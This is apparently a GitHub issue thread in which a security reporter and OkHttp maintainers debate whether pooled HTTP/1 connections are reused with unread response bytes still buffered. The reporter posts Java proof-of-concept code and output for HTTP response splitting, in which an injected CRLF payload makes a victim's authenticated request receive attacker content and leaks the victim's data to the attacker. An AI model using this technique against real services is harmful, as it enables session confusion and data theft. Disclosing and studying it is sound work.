Pooled HTTP/1 connection reused with a response left on the socket

[MegaManSec]

OkHttp returns an HTTP/1 connection to the pool as soon as the declared Content-Length has been consumed, without checking if there are still any remaining unread bytes on the socket. Those bytes can contain a complete second response, which is then returned as the response to the next request using that connection.

FixedLengthSource.read calls responseBodyComplete() as soon as bytesRemaining reaches zero:

okhttp/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/http1/Http1ExchangeCodec.kt

Lines 450 to 456 in b830f03

	throw e
	}
	bytesRemaining -= read
	if (bytesRemaining == 0L) {
	responseBodyComplete(trailers = Headers.EMPTY)
	}

There doesn't seem to be any check for data left on the socket before the connection is pooled.RealConnection.isHealthy does have some check, but it only runs after the connection has been idle for some time:

okhttp/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/connection/RealConnection.kt

Lines 321 to 323 in b830f03

	if (idleDurationNs >= IDLE_CONNECTION_HEALTHY_NS && doExtensiveChecks) {
	return javaNetSocket.isHealthy(socket.source)
	}

So back to back requests skip it the check.

OkHttp also accepts conflicting Content-Length headers, as headersContentLength() takes headers["Content-Length"] and parses it:

okhttp/okhttp/src/commonJvmAndroid/kotlin/okhttp3/internal/-UtilJvm.kt

Lines 243 to 246 in b830f03

	/** Returns the Content-Length as reported by the response headers. */
	internal fun Response.headersContentLength(): Long = headers["Content-Length"]?.toLongOrDefault(-1L) ?: -1L

Since Headers.get returns the last value when there's multiple, two different lengths are resolved instead of rejected, depsite RFC 9112#6.3 saying it should be treated as an error (https://www.rfc-editor.org/rfc/rfc9112.html#section-6.3)

Demonstrating this in practise, we set up a server which server accepts one connection and sends both responses at once. Due to the bug, it never sends a response to the second request:

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.util.concurrent.atomic.AtomicInteger;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

public class Poc38 {
  static final AtomicInteger connections = new AtomicInteger();

  public static void main(String[] args) throws Exception {
    boolean duplicate = args.length == 0 || args[0].equals("duplicate");

    String responseHeaders = duplicate
        ? "HTTP/1.1 200 OK\r\nContent-Length: 0\r\nContent-Length: 5\r\n\r\n"
        : "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\n";
    String wire = responseHeaders
        + "first"
        + "HTTP/1.1 200 OK\r\nContent-Length: 17\r\n\r\nSMUGGLED RESPONSE";

    ServerSocket server = new ServerSocket(0, 50, InetAddress.getByName("127.0.0.1"));
    new Thread(() -> {
      try {
        Socket s = server.accept();
        connections.incrementAndGet();
        drainRequest(s.getInputStream());
        s.getOutputStream().write(wire.getBytes(StandardCharsets.US_ASCII));
        s.getOutputStream().flush();
        Thread.sleep(60_000);
      } catch (Exception ignored) {
      }
    }).start();

    String base = "http://127.0.0.1:" + server.getLocalPort();
    OkHttpClient client = new OkHttpClient();

    System.out.println("mode: " + (duplicate
        ? "two Content-Length headers (0 and 5)"
        : "one Content-Length (5) plus trailing bytes"));
    try (Response r = client.newCall(new Request.Builder().url(base + "/one").build()).execute()) {
      System.out.println("GET /one -> " + r.code() + " body=" + r.body().string());
    }
    try (Response r = client.newCall(new Request.Builder().url(base + "/two").build()).execute()) {
      System.out.println("GET /two -> " + r.code() + " body=" + r.body().string());
    }
    System.out.println("TCP connections accepted by server: " + connections.get());
    System.exit(0);
  }

  static void drainRequest(InputStream in) throws IOException {
    BufferedReader r = new BufferedReader(new InputStreamReader(in, StandardCharsets.US_ASCII));
    String line;
    while ((line = r.readLine()) != null && !line.isEmpty()) {
    }
  }
}

This results in:

mode: two Content-Length headers (0 and 5)
GET /one -> 200 body=first
GET /two -> 200 body=SMUGGLED RESPONSE
TCP connections accepted by server: 1

mode: one Content-Length (5) plus trailing bytes
GET /one -> 200 body=first
GET /two -> 200 body=SMUGGLED RESPONSE
TCP connections accepted by server: 1

The second mode, which has just one normal Content-Length, shows that any bytes after the declared body length can poison the contention in the same way: since the GET /two is answered using the bytes the server sent for get /ONE, and the connection count shows that both requests used the same socket.

This relies on a shared OkHttpClient, which based on a quick google and stackoverflow threads, it seems to be a completely reasonable thing to do (e.g. https://stackoverflow.com/questions/48532860/is-it-thread-safe-to-make-calls-to-okhttpclient-in-parallel).

[JakeWharton]

You can't check for data on the socket. Any check is trivially defeated by just waiting one millisecond longer than any read.

This just sounds like a broken server and not our problem. If the connection isn't reused across a security boundary on the server-side through client-side logic, you're just describing a broken server.

[MegaManSec]

This type of issue is better outlined in https://www.rfc-editor.org/rfc/rfc9112.html#section-11.1 than what I can explain, I think (unfortunately). It describes an example of a server-side bug producing an apparant second response, which is then treated as the answer to another request on the persistent connection.

I agree that checking the socket can't catch what you described, but that isn't what the example does: it writes both responses at once, before the second request has even been made. At that point the extra response may already be in Okio's buffer, which can be checked without another socket read.

RFC 9112 seems pretty explicit about the client's responsibility here, e.g section 9.2 it says that data received when there is no outstanding request "MUST NOT [be considered] a valid response" (https://www.rfc-editor.org/rfc/rfc9112.html#section-9.2) 6.3 also says a client "MUST NOT process, cache, or forward such extra data as a separate response".

In the example, OkHttp is indeed doing that: the server sends the bytes when only /one is outstanding, but OkHttp keeps them around and later returns them as the response to /two.

Also I agree that the server has to be broken for those bytes to exist in the first place, but that is also how response splitting works. This materializes to an interesting case (that isn't a hostile origin), when it's a shared origin where an attacker can influence one response, while a later request on the same connection has a different authorization level/context.

So, I agree that a socket check can't make this completely race-free against a malicious server, but I don't think it makes it correct to reuse the connection when unsolicited bytes are already buffered, especially when the RFC explicitly says not to treat them as another response.

(and note: the conflicting Content-Length case is separate as well, different values are required to be treated as an unrecoverable error, anyways).

[JakeWharton]

If a malicious server can defeat the check with a probabilistic sleep then the check solves nothing.

[JakeWharton]

Also let's not forget a malicious server can simply respond to any request with any response they want.

[MegaManSec]

If a malicious server can defeat the check with a probabilistic sleep then the check solves nothing.

I'm not suggesting a timed socket read. I'm talking about not reusing the connection when bytes are already present in Okio's buffer after the response has been completed.

Also let's not forget a malicious server can simply respond to any request with any response they want.

The server isn't assumed to be malicious; the attacker (another client) can influence one response, not choose arbitrary responses to later requests.

[JakeWharton]

I understand what you're proposing. It's a trivial check. I just don't think it protects against anything in practice.

[swankjesse]

Do you have a specific issue this code change would address? We like to spend our time and code solving problems and it's unclear whether this is a problem in practice.

(Not doing unnecessary work makes OkHttp faster!)

[swankjesse]

I assume the spec is written that way to discourage server authors from transmitting response boilerplate proactively. I could imagine a cheeky server that always sends "HTTP/1.1 " in anticipation of a request.

[MegaManSec]

I assume the spec is written that way to discourage server authors from transmitting response boilerplate proactively. I could imagine a cheeky server that always sends "HTTP/1.1 " in anticipation of a request.

No. It is specifically outlined: https://www.rfc-editor.org/rfc/rfc9112.html#name-response-splitting

[MegaManSec]

Taking the example of https://blog.detectify.com/industry-insights/http-response-splitting-exploitations-and-mitigations/ for example, where a buggy (read: not malicious) server can be influenced to returned arbitrary HTTP headers (read: arbitrary values places after a Location :)..

So the below code sets up a local server playing a backend with that bug: it prints a URL-decoded location query param straight into the Location header. An attacker calls /redirect with a location value that, once decoded, contains a full second fake HTTP response tacked on after the real 302. Then, Okhttp reads the 302, considers the exchange done, and returns the connection to the pool; but the the fake response is still sitting unread in the buffer in Okhttp.

A victim then calls /account on that same shared client. Okhttp reuses the connection and hands the victim the attacker's fake response instead of their own. The victim's real /account response is now the leftover data on that connection, so the attacker's next request on the shared client reads it.

This does not rely on any time tricks, a malicious server, and is exactly what the RFC outlines to stop.

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.InetAddress;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.URLDecoder;
import java.net.URLEncoder;
import java.nio.charset.StandardCharsets;
import java.time.Duration;
import java.util.concurrent.CountDownLatch;

import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

public class Poc {

  private static final String ACCOUNT_SECRET = "victim-secret-balance=1337";

  public static void main(String[] args) throws Exception {
    CountDownLatch serverReady = new CountDownLatch(1);
    ServerSocket serverSocket = new ServerSocket(0, 50, InetAddress.getByName("127.0.0.1"));
    int port = serverSocket.getLocalPort();

    Thread serverThread = new Thread(() -> runVulnerableServer(serverSocket, serverReady));
    serverThread.setDaemon(true);
    serverThread.start();
    serverReady.await();

    String base = "http://127.0.0.1:" + port;

    // One OkHttpClient shared by every user of the backend, as recommended by OkHttp itself.
    OkHttpClient sharedClient = new OkHttpClient.Builder()
        .followRedirects(false)
        .callTimeout(Duration.ofSeconds(3))
        .build();

    String attackedBody = "ATTACKED";
    String injected =
        "https://safe/\r\n"
            + "Content-Length: 0\r\n"
            + "\r\n"
            + "HTTP/1.1 200 OK\r\n"
            + "Content-Length: " + attackedBody.length() + "\r\n"
            + "\r\n"
            + attackedBody;
    String encodedLocation = URLEncoder.encode(injected, StandardCharsets.UTF_8);

    System.out.println("=== Step 1: attacker hits the vulnerable /redirect endpoint ===");
    try (Response r = sharedClient
        .newCall(new Request.Builder().url(base + "/redirect?location=" + encodedLocation).build())
        .execute()) {
      System.out.println("attacker sees: " + r.code() + " Location=" + r.header("Location"));
    }

    System.out.println("=== Step 2: an unrelated victim reuses the pooled connection ===");
    String victimBody;
    try (Response r = sharedClient
        .newCall(new Request.Builder()
            .url(base + "/account")
            .header("Authorization", "Bearer victim-session-token")
            .build())
        .execute()) {
      victimBody = r.body().string();
      System.out.println("victim receives: " + r.code() + " body=" + victimBody);
    }

    System.out.println("=== Step 3: attacker sends one more request on the same shared client ===");
    String attackerFollowupBody;
    try (Response r = sharedClient
        .newCall(new Request.Builder().url(base + "/whatever").build())
        .execute()) {
      attackerFollowupBody = r.body().string();
      System.out.println("attacker receives: " + r.code() + " body=" + attackerFollowupBody);
    }

    System.out.println();
    boolean victimGotAttackerData = attackedBody.equals(victimBody);
    boolean attackerLeakedVictimData = ACCOUNT_SECRET.equals(attackerFollowupBody);

    if (victimGotAttackerData) {
      System.out.println("[VULNERABLE] The victim's /account call was answered with attacker-injected content.");
    } else {
      System.out.println("[not reproduced] The victim received a normal response.");
    }
    if (attackerLeakedVictimData) {
      System.out.println("[VULNERABLE] The attacker's follow-up request received the victim's real account data: " + attackerFollowupBody);
    } else {
      System.out.println("[not reproduced] The attacker did not receive leftover victim data.");
    }

    System.exit(victimGotAttackerData && attackerLeakedVictimData ? 0 : 1);
  }

  private static void runVulnerableServer(ServerSocket serverSocket, CountDownLatch ready) {
    try {
      ready.countDown();
      Socket socket = serverSocket.accept();
      InputStream in = socket.getInputStream();
      OutputStream out = socket.getOutputStream();

      while (true) {
        String requestLine = readRequestLine(in);
        if (requestLine == null) return;
        drainHeaders(in);

        if (requestLine.contains("/redirect")) {
          String location = extractParam(requestLine, "location");
          String decoded = URLDecoder.decode(location, StandardCharsets.UTF_8);
          // decoded value spliced straight into the header, no CRLF filtering.
          String response = "HTTP/1.1 302 Found\r\nLocation: " + decoded;
          out.write(response.getBytes(StandardCharsets.US_ASCII));
        } else if (requestLine.contains("/account")) {
          out.write(httpOk(ACCOUNT_SECRET).getBytes(StandardCharsets.US_ASCII));
        } else {
          out.write(httpOk("n/a").getBytes(StandardCharsets.US_ASCII));
        }
        out.flush();
      }
    } catch (IOException ignored) {
    }
  }

  private static String httpOk(String body) {
    return "HTTP/1.1 200 OK\r\nContent-Length: " + body.length() + "\r\n\r\n" + body;
  }

  private static String readRequestLine(InputStream in) throws IOException {
    StringBuilder sb = new StringBuilder();
    int prev = -1;
    int c;
    while ((c = in.read()) != -1) {
      if (prev == '\r' && c == '\n') return sb.substring(0, sb.length() - 1);
      sb.append((char) c);
      prev = c;
    }
    return sb.length() == 0 ? null : sb.toString();
  }

  private static void drainHeaders(InputStream in) throws IOException {
    int prevPrev = -1, prev = -1, c;
    while ((c = in.read()) != -1) {
      if (prevPrev == '\r' && prev == '\n' && c == '\r') {
        in.read();
        return;
      }
      prevPrev = prev;
      prev = c;
    }
  }

  private static String extractParam(String requestLine, String name) {
    int q = requestLine.indexOf('?');
    String query = requestLine.substring(q + 1, requestLine.indexOf(' ', q));
    for (String pair : query.split("&")) {
      int eq = pair.indexOf('=');
      if (pair.substring(0, eq).equals(name)) {
        return pair.substring(eq + 1);
      }
    }
    throw new IllegalStateException("missing " + name);
  }
}

I set it up and ran the following with:

#!/usr/bin/env bash
set -euo pipefail
cd "$(dirname "$0")"

mkdir -p libs out
declare -a JARS=(
  "com/squareup/okhttp3/okhttp/4.12.0/okhttp-4.12.0.jar"
  "com/squareup/okio/okio-jvm/3.6.0/okio-jvm-3.6.0.jar"
  "org/jetbrains/kotlin/kotlin-stdlib/1.9.10/kotlin-stdlib-1.9.10.jar"
  "org/jetbrains/kotlin/kotlin-stdlib-common/1.9.10/kotlin-stdlib-common-1.9.10.jar"
  "org/jetbrains/annotations/13.0/annotations-13.0.jar"
)
for f in "${JARS[@]}"; do
  name=$(basename "$f")
  [ -f "libs/$name" ] || curl -sf -o "libs/$name" "https://repo1.maven.org/maven2/$f"
done

javac -cp "libs/*" -d out src/main/java/Poc.java
java -cp "out:libs/*" Poc

.. which:

$ ./run.sh 
=== Step 1: attacker hits the vulnerable /redirect endpoint ===
attacker sees: 302 Location=https://safe/
=== Step 2: an unrelated victim reuses the pooled connection ===
victim receives: 200 body=ATTACKED
=== Step 3: attacker sends one more request on the same shared client ===
attacker receives: 200 body=victim-secret-balance=1337

[VULNERABLE] The victim's /account call was answered with attacker-injected content.
[VULNERABLE] The attacker's follow-up request received the victim's real account data: victim-secret-balance=1337